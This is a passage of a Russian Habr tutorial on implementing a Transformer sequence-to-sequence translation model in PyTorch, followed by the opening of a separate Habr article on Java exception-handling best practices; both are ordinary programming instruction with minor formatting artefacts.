Другой основной блок внутри уровня кодировщика — это *слой позиционно-зависимого прямого распространения*. Он устроен относительно просто по сравнению со слоем многонаправленного внимания. Вход преобразуется из `hid_dim` в `pf_dim`, где `pf_dim` обычно намного больше, чем `hid_dim`. Оригинальный Трансформер использовал `hid_dim` из 512 и `pf_dim` из 2048. Функция активации ReLU и дропаут применяются до того, как он снова преобразуется в представление `hid_dim`.
Почему он используется? К сожалению, в статье это нигде не объясняется.
BERT использует функцию активации [GELU](https://arxiv.org/abs/1606.08415), которую можно применить, просто переключив `torch.relu` на `F.gelu`. Почему они использовали GELU? Опять же, это никогда не объяснялось.
```
class PositionwiseFeedforwardLayer(nn.Module):
def __init__(self, hid_dim, pf_dim, dropout):
super().__init__()
self.fc_1 = nn.Linear(hid_dim, pf_dim)
self.fc_2 = nn.Linear(pf_dim, hid_dim)
self.dropout = nn.Dropout(dropout)
def forward(self, x):
#x = [batch size, seq len, hid dim]
x = self.dropout(torch.relu(self.fc_1(x)))
#x = [batch size, seq len, pf dim]
x = self.fc_2(x)
#x = [batch size, seq len, hid dim]
return x
```
#### Декодер
Задача декодера — получить закодированное представление исходного предложения  и преобразовать его в предсказанные токены в целевом предложении . Затем мы сравниваем  с фактическими токенами в целевом предложении  для расчета потерь, которые будут использоваться для расчета градиентов параметров, а затем использованы в оптимизаторе для обновления весов с целью улучшить прогнозы.
Декодер похож на кодировщик, но в нём имеется два уровня внимания с несколькими направлениями. *Слой многонаправленного внимания с маскировкой* над целевой последовательностью и слоем многонаправленного внимания, который использует представление декодера в качестве запроса и представление кодера как ключ и значение.
Декодер использует позиционный эмбеддинг и комбинирование - через поэлементную сумму - с масштабированными целевыми токенами, прошедшими эмбеддинг, после чего следует дропаут. Опять же, наши позиционные кодировки имеют «словарь» равный 100, что означает, что они могут принимать последовательности длиной до 100 токенов. При желании его можно увеличить.
Комбинированные результаты эмбеддинга затем проходят через  слоёв декодера, вместе с закодированным источником `enc_src`, а также исходной и целевой маской. Обратите внимание, что количество слоев в кодировщике не обязательно должно быть равно количеству слоев в декодере, даже если они оба обозначены как .
Представление декодера после N-го слоя затем пропускается через линейный слой `fc_out`. В PyTorch операция softmax содержится в нашей функции потерь, поэтому нам не нужно явно использовать здесь слой softmax.
Помимо использования исходной маски, как мы это делали в кодировщике, чтобы наша модель не влияла на токен , мы также используем целевую маску. Это будет объяснено далее в `Seq2Seq` модели, которая инкапсулирует как кодер, так и декодер, но суть ее в том, что она выполняет ту же операцию, что и заполнение декодера в свёрточной модели sequence-to-sequence model. Поскольку мы обрабатываем все целевые токены одновременно и параллельно, нам нужен метод остановки декодера от «обмана», просто «глядя» на следующий токен в целевой последовательности и выводя его.
Наш слой декодера также выводит нормализованные значения внимания, чтобы позже мы могли построить их график, чтобы увидеть, на что на самом деле обращает внимание наша модель.
```
class Decoder(nn.Module):
def __init__(self,
output_dim,
hid_dim,
n_layers,
n_heads,
pf_dim,
dropout,
device,
max_length = 100):
super().__init__()
self.device = device
self.tok_embedding = nn.Embedding(output_dim, hid_dim)
self.pos_embedding = nn.Embedding(max_length, hid_dim)
self.layers = nn.ModuleList([DecoderLayer(hid_dim,
n_heads,
pf_dim,
dropout,
device)
for _ in range(n_layers)])
self.fc_out = nn.Linear(hid_dim, output_dim)
self.dropout = nn.Dropout(dropout)
self.scale = torch.sqrt(torch.FloatTensor([hid_dim])).to(device)
def forward(self, trg, enc_src, trg_mask, src_mask):
#trg = [batch size, trg len]
#enc_src = [batch size, src len, hid dim]
#trg_mask = [batch size, 1, trg len, trg len]
#src_mask = [batch size, 1, 1, src len]
batch_size = trg.shape[0]
trg_len = trg.shape[1]
pos = torch.arange(0, trg_len).unsqueeze(0).repeat(batch_size, 1).to(self.device)
#pos = [batch size, trg len]
trg = self.dropout((self.tok_embedding(trg) * self.scale) + self.pos_embedding(pos))
#trg = [batch size, trg len, hid dim]
for layer in self.layers:
trg, attention = layer(trg, enc_src, trg_mask, src_mask)
#trg = [batch size, trg len, hid dim]
#attention = [batch size, n heads, trg len, src len]
output = self.fc_out(trg)
#output = [batch size, trg len, output dim]
return output, attention
```
#### Слой декодера
Как упоминалось ранее, уровень декодера аналогичен уровню кодера, за исключением того, что теперь он имеет два уровня многонаправленного внимания `self_attention` и `encoder_attention`.
Первый, как и в кодировщике, осуществляет внутреннее внимание, используя представление декодера, вплоть до запроса, ключа и значения. Затем следует дропаут, остаточное соединение и слой нормализации. Этот слой `self_attention` использует маску целевой последовательности `trg_mask`, чтобы предотвратить «обман» декодера, обращая внимание на токены, которые «опережают» тот, который он обрабатывает в настоящее время, поскольку он обрабатывает все токены в целевом предложении параллельно.
Второй определяет как мы на самом деле подаём закодированное исходное предложение `enc_src` в наш декодер. В этом слое многонаправленного внимания запросы являются представлениями декодера, а ключи и значения — представлениями кодировщика. Здесь исходная маска `src_mask` используется для предотвращения того, чтобы слой многонаправленного внимания обращал внимание на токен в исходном предложении. Затем следуют уровни дропаута, остаточного соединения и уровень нормализации.
Наконец, мы передаем результат через слой позиционно-зависимого прямого распространения и еще одна последовательность дропаута, остаточного соединения и уровень нормализации.
Слой декодера не вводит никаких новых концепций, просто использует тот же набор слоев, что и кодировщик, но немного по-другому.
```
class DecoderLayer(nn.Module):
def __init__(self,
hid_dim,
n_heads,
pf_dim,
dropout,
device):
super().__init__()
self.self_attn_layer_norm = nn.LayerNorm(hid_dim)
self.enc_attn_layer_norm = nn.LayerNorm(hid_dim)
self.ff_layer_norm = nn.LayerNorm(hid_dim)
self.self_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout, device)
self.encoder_attention = MultiHeadAttentionLayer(hid_dim, n_heads, dropout, device)
self.positionwise_feedforward = PositionwiseFeedforwardLayer(hid_dim,
pf_dim,
dropout)
self.dropout = nn.Dropout(dropout)
def forward(self, trg, enc_src, trg_mask, src_mask):
#trg = [batch size, trg len, hid dim]
#enc_src = [batch size, src len, hid dim]
#trg_mask = [batch size, 1, trg len, trg len]
#src_mask = [batch size, 1, 1, src len]
#self attention
_trg, _ = self.self_attention(trg, trg, trg, trg_mask)
#dropout, residual connection and layer norm
trg = self.self_attn_layer_norm(trg + self.dropout(_trg))
#trg = [batch size, trg len, hid dim]
#encoder attention
_trg, attention = self.encoder_attention(trg, enc_src, enc_src, src_mask)
#dropout, residual connection and layer norm
trg = self.enc_attn_layer_norm(trg + self.dropout(_trg))
#trg = [batch size, trg len, hid dim]
#positionwise feedforward
_trg = self.positionwise_feedforward(trg)
#dropout, residual and layer norm
trg = self.ff_layer_norm(trg + self.dropout(_trg))
#trg = [batch size, trg len, hid dim]
#attention = [batch size, n heads, trg len, src len]
return trg, attention
```
#### Seq2Seq
Наконец, у нас есть модуль `Seq2Seq`, который инкапсулирует кодировщик и декодер, а также управляет созданием масок.
Исходная маска создается путем проверки того, что исходная последовательность не равна токену . Это 1, когда токен не является токеном , и 0, когда он является этим токеном. Затем он "разжимается", чтобы его можно было правильно транслировать при наложении маски на `energy`, которая имеет форму ***batchsize,nheads,seqlen,seqlen***.
Целевая маска немного сложнее. Сначала мы создаем маску для токенов , как мы это делали для исходной маски. Далее, мы создаем «последующую» маску, `trg_sub_mask`, используя `torch.tril`. Таким образом создаётся диагональная матрица, в которой элементы над диагональю будут равны нулю, а элементы под диагональю будут установлены на любой входной тензор. В этом случае входным тензором будет тензор, заполненный единицами. Это означает, что наша `trg_sub_mask` будет выглядеть примерно так для цели с 5 токенами:
Это показывает, на что может смотреть каждый целевой токен строка столбец. Первый целевой токен имеет маску ***1, 0, 0, 0, 0***, что означает, что он может смотреть только на первый целевой токен. Второй целевой токен имеет маску ***1, 1, 0, 0, 0***, что означает, что он может просматривать как первый, так и второй целевые токены.
Затем «последующая» маска логически дополняется маской заполнения, которая объединяет две маски, гарантируя, что ни последующие токены, ни маркеры заполнения не могут быть обработаны. Например, если бы последние два токена были токенами , маска выглядела бы так:
После того, как маски созданы, они используются с кодировщиком и декодером вместе с исходным и целевым предложениями, чтобы получить наше предсказанное целевое предложение, «output», вместе с вниманием декодера к исходной последовательности.
```
class Seq2Seq(nn.Module):
def __init__(self,
encoder,
decoder,
src_pad_idx,
trg_pad_idx,
device):
super().__init__()
self.encoder = encoder
self.decoder = decoder
self.src_pad_idx = src_pad_idx
self.trg_pad_idx = trg_pad_idx
self.device = device
def make_src_mask(self, src):
#src = [batch size, src len]
src_mask = (src != self.src_pad_idx).unsqueeze(1).unsqueeze(2)
#src_mask = [batch size, 1, 1, src len]
return src_mask
def make_trg_mask(self, trg):
#trg = [batch size, trg len]
trg_pad_mask = (trg != self.trg_pad_idx).unsqueeze(1).unsqueeze(2)
#trg_pad_mask = [batch size, 1, 1, trg len]
trg_len = trg.shape[1]
trg_sub_mask = torch.tril(torch.ones((trg_len, trg_len), device = self.device)).bool()
#trg_sub_mask = [trg len, trg len]
trg_mask = trg_pad_mask & trg_sub_mask
#trg_mask = [batch size, 1, trg len, trg len]
return trg_mask
def forward(self, src, trg):
#src = [batch size, src len]
#trg = [batch size, trg len]
src_mask = self.make_src_mask(src)
trg_mask = self.make_trg_mask(trg)
#src_mask = [batch size, 1, 1, src len]
#trg_mask = [batch size, 1, trg len, trg len]
enc_src = self.encoder(src, src_mask)
#enc_src = [batch size, src len, hid dim]
output, attention = self.decoder(trg, enc_src, trg_mask, src_mask)
#output = [batch size, trg len, output dim]
#attention = [batch size, n heads, trg len, src len]
return output, attention
```
### Обучение модели Seq2Seq
Теперь мы можем определить наш кодировщик и декодеры. Эта модель значительно меньше, чем Трансформеры, которые используются сегодня в исследованиях, но её можно быстро запустить на одном графическом процессоре.
```
INPUT_DIM = len(SRC.vocab)
OUTPUT_DIM = len(TRG.vocab)
HID_DIM = 256
ENC_LAYERS = 3
DEC_LAYERS = 3
ENC_HEADS = 8
DEC_HEADS = 8
ENC_PF_DIM = 512
DEC_PF_DIM = 512
ENC_DROPOUT = 0.1
DEC_DROPOUT = 0.1
enc = Encoder(INPUT_DIM,
HID_DIM,
ENC_LAYERS,
ENC_HEADS,
ENC_PF_DIM,
ENC_DROPOUT,
device)
dec = Decoder(OUTPUT_DIM,
HID_DIM,
DEC_LAYERS,
DEC_HEADS,
DEC_PF_DIM,
DEC_DROPOUT,
device)
```
Затем определяем и инкапсулирем модель sequence-to-sequence.
```
SRC_PAD_IDX = SRC.vocab.stoi[SRC.pad_token]
TRG_PAD_IDX = TRG.vocab.stoi[TRG.pad_token]
model = Seq2Seq(enc, dec, SRC_PAD_IDX, TRG_PAD_IDX, device).to(device)
```
Мы можем проверить количество параметров, заметив, что оно значительно меньше, чем 37 M для модели свёрточной последовательности.
```
def count_parameters(model):
return sum(p.numel() for p in model.parameters() if p.requires_grad)
print(f'The model has {count_parameters(model):,} trainable parameters')
```
В статье не упоминается, какая схема инициализации веса использовалась, однако форма Xavier, кажется, распространена среди моделей Transformer, поэтому мы используем ее здесь.
```
def initialize_weights(m):
if hasattr(m, 'weight') and m.weight.dim() > 1:
nn.init.xavier_uniform_(m.weight.data)
```
```
model.apply(initialize_weights);
```
Оптимизатор, использованный в исходной статье Transformer, использует Adam со скоростью обучения, которая включает периоды «ускорения» и «торможения». BERT и другие модели Transformer используют Adam с фиксированной скоростью обучения, поэтому мы реализуем это. Проверьте [эту](http://nlp.seas.harvard.edu/2018/04/03/attention.html#optimizer) ссылку для получения более подробной информации о графике скорости обучения оригинального Transformer.
Обратите внимание, что скорость обучения должна быть ниже, чем по умолчанию, используемой Адамом, иначе обучение будет нестабильным.
```
LEARNING_RATE = 0.0005
optimizer = torch.optim.Adam(model.parameters(), lr = LEARNING_RATE)
```
Затем мы определяем нашу функцию потерь, игнорируя потери, рассчитанные по токенам .
```
criterion = nn.CrossEntropyLoss(ignore_index = TRG_PAD_IDX)
```
Затем мы определим наш цикл обучения. Это то же самое, что использовалось в предыдущей части.
Поскольку мы хотим, чтобы наша модель предсказывала токен , но не выводила его в качестве выходных данных модели, мы просто отрезаем токен в конце последовательности. Таким образом:
![\begin{align*} \text{trg} &= [sos, x_1, x_2, x_3, eos]\\ \text{trg[:-1]} &= [sos, x_1, x_2, x_3] \end{align*}](https://habrastorage.org/getpro/habr/upload_files/38e/885/061/38e88506154cd453ea3ef94939647aa6.svg) обозначает фактический элемент целевой последовательности. Затем мы вводим это в модель, чтобы получить предсказанную последовательность, которая, мы надеемся, должна предсказывать токен :
![\begin{align*} \text{output} &= [y_1, y_2, y_3, eos] \end{align*}](https://habrastorage.org/getpro/habr/upload_files/ec1/525/924/ec1525924459218249755877ff95ef69.svg) обозначает предсказанный элемент целевой последовательности. Затем мы вычисляем потери, используя исходный целевой тензор `trg` с токеном, отрезанным спереди, оставляя токен:
![\begin{align*} \text{output} &= [y_1, y_2, y_3, eos]\\ \text{trg[1:]} &= [x_1, x_2, x_3, eos] \end{align*}](https://habrastorage.org/getpro/habr/upload_files/f76/b50/2a2/f76b502a25f7f08dcd7be31c4d558979.svg)Рассчитываем потери и обновляем параметры, как это обычно делается.
Цикл оценки такой же, как цикл обучения, только без вычислений градиента и обновления параметров.
```
def evaluate(model, iterator, criterion):
model.eval()
epoch_loss = 0
with torch.no_grad():
for i, batch in enumerate(iterator):
src = batch.src
trg = batch.trg
output, _ = model(src, trg[:,:-1])
#output = [batch size, trg len - 1, output dim]
#trg = [batch size, trg len]
output_dim = output.shape[-1]
output = output.contiguous().view(-1, output_dim)
trg = trg[:,1:].contiguous().view(-1)
#output = [batch size * trg len - 1, output dim]
#trg = [batch size * trg len - 1]
loss = criterion(output, trg)
epoch_loss += loss.item()
return epoch_loss / len(iterator)
```
Затем мы определяем небольшую функцию, которую можем использовать, чтобы сообщить нам, сколько времени занимает эпоха.
```
def epoch_time(start_time, end_time):
elapsed_time = end_time - start_time
elapsed_mins = int(elapsed_time / 60)
elapsed_secs = int(elapsed_time - (elapsed_mins * 60))
return elapsed_mins, elapsed_secs
```
Наконец, мы обучаем нашу фактическую модель. Эта модель почти в 3 раза быстрее, чем модель сверточной последовательности, а также обеспечивает меньшую сложность проверки!
```
N_EPOCHS = 10
CLIP = 1
best_valid_loss = float('inf')
writer = SummaryWriter()
for epoch in range(N_EPOCHS):
start_time = time.time()
train_loss = train(model, train_iterator, optimizer, criterion, CLIP)
valid_loss = evaluate(model, valid_iterator, criterion)
end_time = time.time()
epoch_mins, epoch_secs = epoch_time(start_time, end_time)
if valid_loss < best_valid_loss:
best_valid_loss = valid_loss
torch.save(model.state_dict(), 'tut6-model.pt')
print(f'Epoch: {epoch+1:02} | Time: {epoch_mins}m {epoch_secs}s')
print(f'\tTrain Loss: {train_loss:.3f} | Train PPL: {math.exp(train_loss):7.3f}')
print(f'\t Val. Loss: {valid_loss:.3f} | Val. PPL: {math.exp(valid_loss):7.3f}')
writer.add_scalar("Train Loss", train_loss, epoch+1)
writer.add_scalar("Train PPL", math.exp(train_loss), epoch+1)
writer.add_scalar("Val. Loss", valid_loss, epoch+1)
writer.add_scalar("Val. PPL", math.exp(valid_loss), epoch+1)
writer.close()
```
Мы загружаем наши «лучшие» параметры и добиваемся большей точности при тестировании, чем достигали все предыдущие модели.
```
model.load_state_dict(torch.load('tut6-model.pt'))
test_loss = evaluate(model, test_iterator, criterion)
print(f'| Test Loss: {test_loss:.3f} | Test PPL: {math.exp(test_loss):7.3f} |')
```
### Вывод
Теперь мы можем переводить с помощьюв нашей модели используя функцию `translate_sentence`.
Были предприняты следующие шаги:
* токенизируем исходное предложение, если оно не было токенизировано является строкой
* добавляем токены и
* оцифровываем исходное предложение
* преобразовываем его в тензор и добавляем размер батча
* создаём маску исходного предложения
* загружаем исходное предложение и маску в кодировщик
* создаём список для хранения выходного предложения, инициализированного токеном
* пока мы не достигли максимальной длины
+ преобразовываем текущий прогноз выходного предложения в тензор с размерностью батча
+ создаём маску целевого предложения
+ поместим текущий выход, выход кодировщика и обе маски в декодер
+ получаем предсказание следующего выходного токена от декодера вместе с вниманием
+ добавляем предсказание к предсказанию текущего выходного предложения
+ прерываем, если предсказание было токеном
* преобразовываем выходное предложение из индексов в токены
* возвращаем выходное предложение (с удаленным токеном ) и вниманием с последнего слоя
```
def translate_sentence(sentence, src_field, trg_field, model, device, max_len = 50):
model.eval()
if isinstance(sentence, str):
nlp = spacy.load('de_core_news_sm')
tokens = [token.text.lower() for token in nlp(sentence)]
else:
tokens = [token.lower() for token in sentence]
tokens = [src_field.init_token] + tokens + [src_field.eos_token]
src_indexes = [src_field.vocab.stoi[token] for token in tokens]
src_tensor = torch.LongTensor(src_indexes).unsqueeze(0).to(device)
src_mask = model.make_src_mask(src_tensor)
with torch.no_grad():
enc_src = model.encoder(src_tensor, src_mask)
trg_indexes = [trg_field.vocab.stoi[trg_field.init_token]]
for i in range(max_len):
trg_tensor = torch.LongTensor(trg_indexes).unsqueeze(0).to(device)
trg_mask = model.make_trg_mask(trg_tensor)
with torch.no_grad():
output, attention = model.decoder(trg_tensor, enc_src, trg_mask, src_mask)
pred_token = output.argmax(2)[:,-1].item()
trg_indexes.append(pred_token)
if pred_token == trg_field.vocab.stoi[trg_field.eos_token]:
break
trg_tokens = [trg_field.vocab.itos[i] for i in trg_indexes]
return trg_tokens[1:], attention
```
Теперь мы определим функцию, которая отображает внимание к исходному предложению на каждом этапе декодирования. Поскольку у этой модели 8 направлений, мы можем наблюдать за вниманием для каждой из них.
```
def display_attention(sentence, translation, attention, n_heads = 8, n_rows = 4, n_cols = 2):
assert n_rows * n_cols == n_heads
fig = plt.figure(figsize=(15,25))
for i in range(n_heads):
ax = fig.add_subplot(n_rows, n_cols, i+1)
_attention = attention.squeeze(0)[i].cpu().detach().numpy()
cax = ax.matshow(_attention, cmap='bone')
ax.tick_params(labelsize=12)
ax.set_xticklabels(['']+['']+[t.lower() for t in sentence]+[''],
rotation=45)
ax.set\_yticklabels(['']+translation)
ax.xaxis.set\_major\_locator(ticker.MultipleLocator(1))
ax.yaxis.set\_major\_locator(ticker.MultipleLocator(1))
plt.show()
plt.close()
```
Сначала возьмем пример из обучающей выборки.
```
example_idx = 8
src = vars(train_data.examples[example_idx])['src']
trg = vars(train_data.examples[example_idx])['trg']
print(f'src = {src}')
print(f'trg = {trg}')
```
### BLEU
Наконец, мы рассчитываем оценку BLEU для трансформатора.
```
from torchtext.data.metrics import bleu_score
def calculate_bleu(data, src_field, trg_field, model, device, max_len = 50):
trgs = []
pred_trgs = []
for datum in data:
src = vars(datum)['src']
trg = vars(datum)['trg']
pred_trg, _ = translate_sentence(src, src_field, trg_field, model, device, max_len)
#cut off token
pred\_trg = pred\_trg[:-1]
pred\_trgs.append(pred\_trg)
trgs.append([trg])
return bleu\_score(pred\_trgs, trgs)
```
Мы получили оценку BLEU 36,52, что превосходит ~ 34 для свёрточной модели sequence-to-sequence и ~ 28 для модели RNN, основанной на внимании. И все это с наименьшим количеством параметров и самым быстрым временем обучения!
### Обучение сети инвертированию предложения
В конце приведу один из моих любимых тестов: тест на инверсию предложения. Очень простая для человека задача ученики начальной школы обучаются за 10-15 примеров, но, порой, непреодолима для искусственных систем.
Для Google Colab скачаем обучающие последовательности
```
!wget https://raw.githubusercontent.com/vasiliyeskin/bentrevett-pytorch-seq2seq_ru/master/toy_revert/train.csv -P toy_revert
!wget https://raw.githubusercontent.com/vasiliyeskin/bentrevett-pytorch-seq2seq_ru/master/toy_revert/val.csv -P toy_revert
!wget https://raw.githubusercontent.com/vasiliyeskin/bentrevett-pytorch-seq2seq_ru/master/toy_revert/test.csv -P toy_revert
```
В начале обучим сеть инверсии и посмотрим на результат.
```
SRC = Field(tokenize="spacy",
init_token='',
eos\_token='',
lower=True,
batch\_first = True)
TRG = Field(tokenize="spacy",
init\_token='',
eos\_token='',
lower=True,
batch\_first = True)
data\_fields = [('src', SRC), ('trg', TRG)]
# load the dataset in csv format
train\_data, valid\_data, test\_data = TabularDataset.splits(
path='toy\_revert',
train='train.csv',
validation='val.csv',
test='test.csv',
format='csv',
fields=data\_fields,
skip\_header=True
)
SRC.build\_vocab(train\_data)
TRG.build\_vocab(train\_data)
```
```
device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
BATCH_SIZE = 32
train_iterator, valid_iterator, test_iterator = BucketIterator.splits(
(train_data, valid_data, test_data),
batch_size = BATCH_SIZE,
sort_key = lambda x: len(x.src),
sort_within_batch=True,
device = device)
################## create DNN Seq2Seq ###############################
INPUT_DIM = len(SRC.vocab)
OUTPUT_DIM = len(TRG.vocab)
HID_DIM = 64
ENC_LAYERS = 3
DEC_LAYERS = 3
ENC_HEADS = 8
DEC_HEADS = 8
ENC_PF_DIM = 512
DEC_PF_DIM = 512
ENC_DROPOUT = 0.1
DEC_DROPOUT = 0.1
enc = Encoder(INPUT_DIM,
HID_DIM,
ENC_LAYERS,
ENC_HEADS,
ENC_PF_DIM,
ENC_DROPOUT,
device)
dec = Decoder(OUTPUT_DIM,
HID_DIM,
DEC_LAYERS,
DEC_HEADS,
DEC_PF_DIM,
DEC_DROPOUT,
device)
SRC_PAD_IDX = SRC.vocab.stoi[SRC.pad_token]
TRG_PAD_IDX = TRG.vocab.stoi[TRG.pad_token]
model = Seq2Seq(enc, dec, SRC_PAD_IDX, TRG_PAD_IDX, device).to(device)
####################################################################
####### initial weights
model.apply(initialize_weights);
# print(model)
print(f'The model has {count_parameters(model):,} trainable parameters')
optimizer = optim.Adam(model.parameters(), lr = LEARNING_RATE)
criterion = nn.CrossEntropyLoss(ignore_index=TRG_PAD_IDX)
N_EPOCHS = 30
CLIP = 1
best_valid_loss = float('inf')
for epoch in range(N_EPOCHS):
start_time = time.time()
train_loss = train(model, train_iterator, optimizer, criterion, CLIP)
valid_loss = evaluate(model, valid_iterator, criterion)
end_time = time.time()
epoch_mins, epoch_secs = epoch_time(start_time, end_time)
if valid_loss < best_valid_loss:
best_valid_loss = valid_loss
torch.save(model.state_dict(), 'tut3-model.pt')
print(f'Epoch: {epoch + 1:02} | Time: {epoch_mins}m {epoch_secs}s')
print(f'\tTrain Loss: {train_loss:.3f} | Train PPL: {math.exp(train_loss):7.3f}')
print(f'\t Val. Loss: {valid_loss:.3f} | Val. PPL: {math.exp(valid_loss):7.3f}')
# writer.add_scalar("Train_loss_average_per_epoch", train_loss, epoch)
# writer.add_scalar("Validate_loss_average_per_epoch", valid_loss, epoch)
model.load_state_dict(torch.load('tut3-model.pt'))
test_loss = evaluate(model, test_iterator, criterion)
print(f'| Test Loss: {test_loss:.3f} | Test PPL: {math.exp(test_loss):7.3f} |')
```
```
def translate_sentence(sentence, src_field, trg_field, model, device, max_len = 20):
model.eval()
if isinstance(sentence, str):
nlp = spacy.load('de_core_news_sm')
tokens = [token.text.lower() for token in nlp(sentence)]
else:
tokens = [token.lower() for token in sentence]
tokens = [src_field.init_token] + tokens + [src_field.eos_token]
src_indexes = [src_field.vocab.stoi[token] for token in tokens]
src_tensor = torch.LongTensor(src_indexes).unsqueeze(0).to(device)
src_mask = model.make_src_mask(src_tensor)
with torch.no_grad():
enc_src = model.encoder(src_tensor, src_mask)
trg_indexes = [trg_field.vocab.stoi[trg_field.init_token]]
for i in range(max_len):
trg_tensor = torch.LongTensor(trg_indexes).unsqueeze(0).to(device)
trg_mask = model.make_trg_mask(trg_tensor)
with torch.no_grad():
output, attention = model.decoder(trg_tensor, enc_src, trg_mask, src_mask)
pred_token = output.argmax(2)[:,-1].item()
trg_indexes.append(pred_token)
if pred_token == trg_field.vocab.stoi[trg_field.eos_token]:
break
trg_tokens = [trg_field.vocab.itos[i] for i in trg_indexes]
return trg_tokens[1:], attention
```
```
from torchtext.data.metrics import bleu_score
def calculate_bleu(data, src_field, trg_field, model, device, max_len = 20):
trgs = []
pred_trgs = []
for datum in data:
src = vars(datum)['src']
trg = vars(datum)['trg']
pred_trg, _ = translate_sentence(src, src_field, trg_field, model, device, max_len)
#cut off token
pred\_trg = pred\_trg[:-1]
pred\_trgs.append(pred\_trg)
trgs.append([trg])
return bleu\_score(pred\_trgs, trgs)
```
```
example_idx = 10
src = vars(test_data.examples[example_idx])['src']
trg = vars(test_data.examples[example_idx])['trg']
print(f'src = {src}')
print(f'trg = {trg}')
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
display_attention(src, translation, attention)
print(f'predicted trg = {translation}')
src = ['a', 'b', 'c', 'a', 'd']
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
display_attention(src, translation, attention)
print(f'predicted trg = {translation}')
src = 'd b c d'.split(' ')
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
display_attention(src, translation, attention)
print(f'predicted trg = {translation}')
src = ['a', 'a', 'a', 'a', 'd']
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
print(f'predicted trg = {translation}')
src = ['d', 'b', 'c', 'a']
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
print(f'predicted trg = {translation}')
src = ['d', 'd', 'd', 'd', 'd', 'd', 'd', 'd']
print(f'source = {src}')
translation, attention = translate_sentence(src, SRC, TRG, model, device)
print(f'predicted trg = {translation}')
bleu_score = calculate_bleu(test_data, SRC, TRG, model, device)
print(f'BLEU score = {bleu_score * 100:.2f}')
``` | https://habr.com/ru/post/568304/ | null | ru | null |
# 9 лучших практик для обработки исключений в Java
Независимо от того, новичок вы или профессионал, всегда полезно освежить в памяти методы обработки исключений, чтобы убедиться, что вы и ваша команда можете справиться с проблемами.
Обработка исключений в Java - непростая тема. Новичкам сложно понять, и даже опытные разработчики могут часами обсуждать, как и какие исключения следует создавать или обрабатывать.
Вот почему у большинства команд разработчиков есть собственный набор правил их использования. И если вы новичок в команде, вас может удивить, насколько эти правила могут отличаться от тех, которые вы использовали раньше.
Тем не менее, есть несколько передовых практик, которые используются большинством команд. Вот 9 самых важных из них, которые помогут вам начать работу или улучшить обработку исключений.
### 1. Освободите ресурсы в блоке finally или используйте инструкцию "Try-With-Resource"
Довольно часто вы используете ресурс в своем блоке try, например [*InputStream*](https://docs.oracle.com/javase/8/docs/api/java/io/InputStream.html), который вам нужно закрыть позже. Распространенной ошибкой в таких ситуациях является закрытие ресурса в конце блока try.
```
public void doNotCloseResourceInTry() {
FileInputStream inputStream = null;
try {
File file = new File("./tmp.txt");
inputStream = new FileInputStream(file);
// используем inputStream для чтения файла
// не делайте этого
inputStream.close();
} catch (FileNotFoundException e) {
log.error(e);
} catch (IOException e) {
log.error(e);
}
}
```
Проблема в том, что этот подход работает отлично до тех пор, пока не генерируется исключение. Все операторы в блоке try будут выполнены, и ресурс будет закрыт.
Но вы не зря добавили блок try. Вы вызываете один или несколько методов, которые могут вызвать исключение, или, может быть, вы сами вызываете исключение. Это означает, что вы можете не дойти до конца блока try. И как следствие, вы не закроете ресурсы.
Поэтому вам следует поместить весь код очистки в блок finally или использовать оператор try-with-resource.
#### Используйте блок Finally
В отличие от последних нескольких строк вашего блока try, блок finally всегда выполняется. Это происходит либо после успешного выполнения блока try, либо после обработки исключения в блоке catch. Благодаря этому вы можете быть уверены, что освободите все захваченные ресурсы.
```
public void closeResourceInFinally() {
FileInputStream inputStream = null;
try {
File file = new File("./tmp.txt");
inputStream = new FileInputStream(file);
// используем inputStream для чтения файла
} catch (FileNotFoundException e) {
log.error(e);
} finally {
if (inputStream != null) {
try {
inputStream.close();
} catch (IOException e) {
log.error(e);
}
}
}
}
```
#### Оператор Java 7 "Try-With-Resource"
Другой вариант - это оператор try-with-resource, который я объяснил более подробно во [введении в обработку исключений Java](https://stackify.com/specify-handle-exceptions-java/#tryWithResource).
Вы можете использовать его, если ваш ресурс реализует интерфейс [*AutoCloseable*](https://docs.oracle.com/javase/8/docs/api/java/lang/AutoCloseable.html). Это то, что делает большинство стандартных ресурсов Java. Когда вы открываете ресурс в предложении *try*, он автоматически закрывается после выполнения блока *try* или обработки исключения.
```
public void automaticallyCloseResource() {
File file = new File("./tmp.txt");
try (FileInputStream inputStream = new FileInputStream(file);) {
// используем inputStream для чтения файла
} catch (FileNotFoundException e) {
log.error(e);
} catch (IOException e) {
log.error(e);
}
}
```
### 2. Конкретные исключения предпочтительнее
Чем конкретнее исключение, которое вы генерируете, тем лучше. Всегда помните, что коллеге, который не знает вашего кода, а может быть, и вам через несколько месяцев, необходимо вызвать ваш метод и обработать исключение.
Поэтому постарайтесь предоставить им как можно больше информации. Это упрощает понимание вашего API. В результате вызывающий ваш метод сможет лучше обработать исключение или [избежать его с помощью дополнительной проверки](https://stackify.com/top-java-software-errors/).
Поэтому всегда старайтесь найти класс, который лучше всего подходит для вашего исключительного события, например, генерируйте [*NumberFormatException*](https://docs.oracle.com/javase/8/docs/api/java/lang/NumberFormatException.html)вместо [*IllegalArgumentException*](https://docs.oracle.com/javase/8/docs/api/java/lang/IllegalArgumentException.html). И избегайте создания неспецифического *исключения*.
```
public void doNotDoThis() throws Exception {
...
}
public void doThis() throws NumberFormatException {
...
}
```
### 3. Документируйте определенные вами исключения
Каждый раз, когда вы [определяете исключение](https://stackify.com/specify-handle-exceptions-java/#specify) в сигнатуре вашего метода, вы также должны [задокументировать его в своем Javadoc](http://blog.joda.org/2012/11/javadoc-coding-standards.html). Это преследует ту же цель, что и предыдущая передовая практика: предоставить вызывающему как можно больше информации, чтобы он мог избежать или обработать исключение.
Итак, не забудьте добавить объявление *@throws* в свой Javadoc и описать ситуации, которые могут вызвать исключение.
```
/**
* Этот метод делает что-то чрезвычайно полезное ...
*
* @param input
* @throws MyBusinessException, если ... происходит
*/
public void doSomething(String input) throws MyBusinessException {
...
}
```
### 4. Генерирование исключений с описательными сообщениями
